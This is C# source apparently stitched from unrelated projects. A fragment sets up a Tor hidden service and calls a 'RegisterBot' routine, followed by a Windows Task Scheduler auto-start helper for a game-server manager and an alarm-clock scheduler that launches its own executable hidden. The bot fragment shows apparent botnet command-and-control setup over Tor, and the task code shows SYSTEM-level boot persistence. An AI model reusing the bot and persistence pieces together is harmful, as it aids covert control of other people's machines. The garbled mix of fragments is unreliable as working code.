psi.RedirectStandardInput = true;
System.Diagnostics.Process serviceProcess = new System.Diagnostics.Process();
serviceProcess.StartInfo = psi;
serviceProcess.Start();
System.Threading.Thread.Sleep(120000);
serviceProcess.Kill();
}
catch (Exception ex)
{
}
string sHiddenServiceAddress = System.IO.File.ReadAllText(torDirectory + "\\hidden_service\\hostname");
System.IO.File.WriteAllText(torDirectory + "torrc", torrc.Replace("57480", OnionToPort(sHiddenServiceAddress).ToString()));
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
FluxApiClient.RegisterBot();
}
}
public static bool ScheduleAutoStart(string taskKey, string taskSuffix, bool enableAutoStart, string command, string profileName)
{
var taskName = $"AutoStart_{taskKey}";
if (!string.IsNullOrWhiteSpace(taskSuffix))
{
taskName += $"_{taskSuffix}";
}
var taskFolder = TaskService.Instance.RootFolder.SubFolders.Exists(TASK_FOLDER) ? TaskService.Instance.RootFolder.SubFolders[TASK_FOLDER] : null;
if (enableAutoStart)
{
// create the task folder
if (taskFolder == null)
{
try
{
taskFolder = TaskService.Instance.RootFolder.CreateFolder(TASK_FOLDER, null, false);
}
catch (Exception ex)
{
Logger.Debug($"Unable to create the ASM task folder.\r\n{ex.Message}.");
return(false);
}
}
if (taskFolder == null)
{
return(false);
}
var task = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
var taskDefinition = task?.Definition ?? TaskService.Instance.NewTask();
if (taskDefinition == null)
{
return(false);
}
Version appVersion;
Version.TryParse(App.Version, out appVersion);
taskDefinition.Principal.LogonType = TaskLogonType.ServiceAccount;
taskDefinition.Principal.RunLevel = TaskRunLevel.Highest;
taskDefinition.RegistrationInfo.Description = $"Ark Server Auto-Start - {profileName}";
taskDefinition.RegistrationInfo.Source = "Ark Server Manager";
taskDefinition.RegistrationInfo.Version = appVersion;
taskDefinition.Settings.ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT);
taskDefinition.Settings.Priority = ProcessPriorityClass.Normal;
// Add a trigger that will fire after the machine has started
taskDefinition.Triggers.Clear();
var trigger = new BootTrigger {
Delay = TimeSpan.FromMinutes(1),
ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT)
};
taskDefinition.Triggers.Add(trigger);
// Create an action that will launch whenever the trigger fires
taskDefinition.Actions.Clear();
var action = new ExecAction {
Path = command,
Arguments = string.Empty
};
taskDefinition.Actions.Add(action);
try
{
task = taskFolder.RegisterTaskDefinition(taskName, taskDefinition, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
return(task != null);
}
catch (Exception ex)
{
Logger.Debug($"Unable to create the ScheduleAutoStart task.\r\n{ex.Message}.");
}
}
else
{
if (taskFolder == null)
{
return(true);
}
// Retrieve the task to be deleted
var task = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
if (task == null)
{
return(true);
}
try
{
// Delete the task
taskFolder.DeleteTask(taskName, false);
return(true);
}
catch (Exception ex)
{
Logger.Debug($"Unable to delete the ScheduleAutoStart task.\r\n{ex.Message}.");
}
}
return(false);
}
// method only for testing purpose
public TaskDefinition AlarmScheduler(Alarm _alarm)
{
// Create a new task definition for the local machine and assign properties
TaskDefinition td = TaskService.Instance.NewTask();
td.RegistrationInfo.Description = _alarm.Description;
switch (_alarm.Reiteration)
{
case Alarm.ReiterationType.oneTime:
{
if (_alarm.ComputerStarts)
{
BootTrigger tg = new BootTrigger();
if (_alarm.DeleteAfter)
{
tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
}
if (_alarm.RandomDelay)
{
tg.Delay = _alarm.RandomDelayTime;
}
if (_alarm.RepeatAlarm)
{
tg.Repetition.Interval = _alarm.RepeatAlarmTime;
}
if (_alarm.RepeatAlarmDuration)
{
tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
}
if (_alarm.StopRepeat)
{
tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
}
td.Triggers.Add(tg);
}
else
if (_alarm.Wake)
{
LogonTrigger tg = new LogonTrigger();
if (_alarm.DeleteAfter)
{
tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
}
if (_alarm.RandomDelay)
{
tg.Delay = _alarm.RandomDelayTime;
}
if (_alarm.RepeatAlarm)
{
tg.Repetition.Interval = _alarm.RepeatAlarmTime;
}
if (_alarm.RepeatAlarmDuration)
{
tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
}
if (_alarm.StopRepeat)
{
tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
}
td.Triggers.Add(tg);
}
else
{
TimeTrigger tg = new TimeTrigger();
tg.StartBoundary = new DateTime(_alarm.StartDate.Year, _alarm.StartDate.Month, _alarm.StartDate.Day, _alarm.StartTime.Hour, _alarm.StartTime.Minute, _alarm.StartTime.Second);
if (_alarm.DeleteAfter)
{
tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
}
if (_alarm.RandomDelay)
{
tg.RandomDelay = _alarm.RandomDelayTime;
}
if (_alarm.RepeatAlarm)
{
tg.Repetition.Interval = _alarm.RepeatAlarmTime;
}
if (_alarm.RepeatAlarmDuration)
{
tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
}
if (_alarm.StopRepeat)
{
tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
}
td.Triggers.Add(tg);
}
break;
}
case Alarm.ReiterationType.daily:
{
DailyTrigger tg = new DailyTrigger(_alarm.RecurDays);
tg.StartBoundary = new DateTime(_alarm.StartDate.Year, _alarm.StartDate.Month, _alarm.StartDate.Day, _alarm.StartTime.Hour, _alarm.StartTime.Minute, _alarm.StartTime.Second);
if (_alarm.DeleteAfter)
{
tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
}
if (_alarm.RandomDelay)
{
tg.RandomDelay = _alarm.RandomDelayTime;
}
if (_alarm.RepeatAlarm)
{
tg.Repetition.Interval = _alarm.RepeatAlarmTime;
}
if (_alarm.RepeatAlarmDuration)
{
tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
}
if (_alarm.StopRepeat)
{
tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
}
td.Triggers.Add(tg);
break;
}
case Alarm.ReiterationType.weekly:
{
WeeklyTrigger tg = new WeeklyTrigger();
tg.WeeksInterval = _alarm.RecurWeeks;
tg.DaysOfWeek = _alarm.DaysOfTheWeek;
tg.StartBoundary = new DateTime(_alarm.StartDate.Year, _alarm.StartDate.Month, _alarm.StartDate.Day, _alarm.StartTime.Hour, _alarm.StartTime.Minute, _alarm.StartTime.Second);
if (_alarm.DeleteAfter)
{
tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
}
if (_alarm.RandomDelay)
{
tg.RandomDelay = _alarm.RandomDelayTime;
}
if (_alarm.RepeatAlarm)
{
tg.Repetition.Interval = _alarm.RepeatAlarmTime;
}
if (_alarm.RepeatAlarmDuration)
{
tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
}
if (_alarm.StopRepeat)
{
tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
}
td.Triggers.Add(tg);
break;
}
}
td.Settings.StartWhenAvailable = _alarm.RunAsap;
if (_alarm.DeleteAfter)
{
td.Settings.DeleteExpiredTaskAfter = TimeSpan.FromDays(_alarm.DeleteAfterDays);
}
//td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(10);
td.Settings.WakeToRun = _alarm.Wake;
td.Settings.Enabled = _alarm.Enabled;
string pathOnAppExe = Process.GetCurrentProcess().MainModule.FileName;
if (_alarm.Description == "")
{
_alarm.Description = "!ALARM!";
}
try
{
TaskService.Instance.RootFolder.CreateFolder("Alarm Clock");
}
catch { }
td.Actions.Add(pathOnAppExe, $"/hidden=yes /priority={_alarm.Priority.ToString()} /description=\"{_alarm.Description}\"");
return(td);
}
